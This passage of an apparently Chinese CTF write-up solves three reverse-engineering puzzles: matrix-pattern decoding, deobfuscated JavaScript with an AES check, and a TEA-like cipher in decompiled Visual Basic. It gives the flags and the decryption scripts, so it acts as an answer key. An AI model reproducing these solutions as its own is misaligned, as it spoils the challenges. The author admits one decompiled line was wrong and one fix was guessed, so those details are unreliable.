for line in str_array_8020:
    for i in range(26):
        if small_alpha_bet[i][0:17] == line:
            print(chr(i+ord('a')),end=' ')
    for i in range(26):
        if upper_alpha_bet[i][0:17] == line:
            print(chr(i+ord('A')), end=' ')
    for i in range(10):
        if num_bet[i][0:17] == line:
            print(chr(i+ord('0')), end=' ')

结果为

M O U N D W H I 7 e c r a B s

由此得到 flag

W4terCTF{1E7_US_drAW_a_plC7ur3_WITH_MA7Rix_4nd_MOUND_WHI7e_craBs}

# DouDou

爬了 js 下来,用了 restringer 反混淆,得到关键函数如下:

function check(q) {
  var V = JSON.parse(JSON.stringify(q)),
    x = []
  for (var P = 0; P < 12; P++) {
    x.push(
      e(q[P])
        .map((g) => g.toString(16).padStart(2, '0'))
        .join('')
    )
  }
  x = x.join('')
  if (x == r + A + s + y + B + F + w + Q + b + p + i + f) {
    // ...

最后 x == ... 后面的表达式也求出来了,是一个超长 16 进制字符串,太长不贴了。

分析前面调用 check(STEPS) 的环节可以得到, q 会是一个 [[int * 16] * 12] ,而函数 e ,结合 hint 最终判断为 AES 加密,key 是 W4terDr0pCTF2024 ,但是还没完,加密之前每个字节要先异或一个 153

最后生成的 x 要等于那个超长字符串,才会进入 if 内生成 flag 的过程,得到 flag:

flag = ''
    res = ''
    for (var P = 0; P < 12; P++) {
      res += V[P].map((g) => String.fromCharCode(g))
    }
    res = res.replaceAll(',', '')
    for (var P = 0; P < res.length; P += 4) {
      flag += String.fromCharCode(parseInt(res.slice(P, P + 4), 4))
    }

大概就是 res 四个一组,parse 成一个四位四进制整数,再转 ascii 即可。这也就意味着 res 必须是 ^[0123]*$ ,这也可以检验得到 res 的过程是否正确,反正我们一次就出来了:

final_x = "91d48f9e77505fe36b1537597d68a8be6ef1ced09bba7c9d4ea6a123042d47bbd5776d7b85eebbb7738de44b9af45f9b706640c8dac77d409ceb067e677e7290401e4852527e119b8095a636d0b628e1161142b7dfcbcf2ef890698ba5d279c78df2348e45d1aef635ebfb841284f6d67d1e9d0f0489bcdc5ba303bc791d0e18e46889fa856a463907d82a8137b7b2a863d1896d4dfcd6b84a2f55b50567f705ea7177187609da2e506182007b7e8244acf62c69de4f511760159ffc6dd8e9f5"
aes = AES.new(b"W4terDr0pCTF2024", AES.MODE_ECB)
l = []
while final_x:
    part_s = final_x[:32]
    final_x = final_x[32:]
    l2 = []
    while part_s:
        x = int(part_s[:2], 16)
        l2.append(x)
        part_s = part_s[2:]
    l.append(l2)
l = [[x ^ 153 for x in subl] for subl in l]
l = [bytes(subl) for subl in l]
l = [aes.decrypt(b) for b in l]
ans = ""
for s in l:
    while s:
        b = int(s[:4], 4)
        s = s[4:]
        ans += chr(b)
ans
'jS_ls_In7erEStlng_ANd_QuaTeRN4rY_IS_al50_1Unny!!'

# 古老的语言

用 VB 反编译器逆向,关键函数 Fxxxtel 如下:

Public Function Fxxxtel(raw) '40F35C
  'Data Table: 40E3A8
  Dim var_B0 As Long
  Dim var_B4 As Long
  Dim var_B8 As Long
  Dim var_BC As Long
  Dim var_86 As Integer
  loc_40F031: For var_AC = 0 To 9 Step 3: var_A6 = var_AC 'Integer
  loc_40F047:   var_B4 = raw(CLng(var_A6))
  loc_40F055:   var_B8 = raw(CLng((var_A6 + 1)))
  loc_40F063:   var_BC = raw(CLng((var_A6 + 2)))
  loc_40F06D:   For var_C0 = 1 To &H20: var_A8 = var_C0 'Integer
  loc_40F089:     var_B0 = AddLong(0, -1640531527)
  loc_40F0FB:     var_B4 = var_B4 Xor AddLong(AddLong(LeftRotateLong(var_B8, 4) Xor -559038737, var_B8 Xor var_B0), RightRotateLong(var_B8, 5) Xor -1161901314)
  loc_40F16D:     var_B8 = var_B8 Xor AddLong(AddLong(LeftRotateLong(var_BC, 4) Xor -559038737, var_BC Xor var_B0), RightRotateLong(var_BC, 5) Xor -1161901314)
  loc_40F1DF:     var_BC = var_BC Xor AddLong(AddLong(LeftRotateLong(var_B4, 4) Xor -559038737, var_B4 Xor var_B0), RightRotateLong(var_B4, 5) Xor -1161901314)
  loc_40F1E5:   Next var_C0 'Integer
  loc_40F1F4:   var_A0(CLng(var_A6)) = var_B4
  loc_40F202:   var_A0(CLng((var_A6 + 1))) = var_B8
  loc_40F210:   var_A0(CLng((var_A6 + 2))) = var_BC
  loc_40F214: Next var_AC 'Integer
  loc_40F21B: var_86 = &HFF

用 C 整理出的等价版本:

void encrypt(uint32_t *v) {
  uint32_t a = v[0], b = v[1], c = v[2];
  for (int i = 0; i < 32; i++) {
    a = a ^ round_fn(b);
    b = b ^ round_fn(c);
    c = c ^ round_fn(a);
  }
  v[0] = a;
  v[1] = b;
  v[2] = c;
}
uint32_t round_fn(uint32_t b) {
  const uint32_t delta = 0x9e3779b9;
  return ((left_rotate(b, 4) ^ (0xdeadbeef)) + (b ^ delta) +
          (right_rotate(b, 5) ^ (0xbabecafe)));

在这之后是一长串的 IF,判断 var_A0 的各个位是否等于一些硬编码的 32 位常数,将这些常数解密即可。

可以看出这和 TEA 加密非常像,但是是三个一组的循环混淆,而非经典 TEA 的两个一组,而且把 TEA 轮函数加法和异或交换了,以及每次异或的是固定的 delta 而不是 delta 的累加。每次取三个 u32 一组,像这样交叉异或 32 轮。

三个一组问题不大,把加密的顺序反过来异或回去可以了,原理是一样的:

void decrypt(uint32_t *v) {
  uint32_t a = v[0], b = v[1], c = v[2];
  for (int i = 0; i < 32; i++) {
    c = c ^ round_fn(a);
    b = b ^ round_fn(c);
    a = a ^ round_fn(b);
  }
  v[0] = a;
  v[1] = b;
  v[2] = c;
}

然而这样不对。hint 说要关掉的那个选项我看到了,关了之后重新复现了一遍,发现跟之前一点区别没有,心态炸了。

最后一天晚九点,突发奇想把轮函数改了一下,把 sum 做异或,相当于只把轮函数的加法和异或互换的 TEA 算法,保留 sum 的部分不改,然后居然过了,有瞎蒙的成分在。

事后注意到这一行:

loc_40F089:     var_B0 = AddLong(0, -1640531527)

那就意味着这一行的逆向是错的,应该是 var_B0 = AddLong(var_B0, -1640531527) ,不过没发现为什么。

Edited on Views times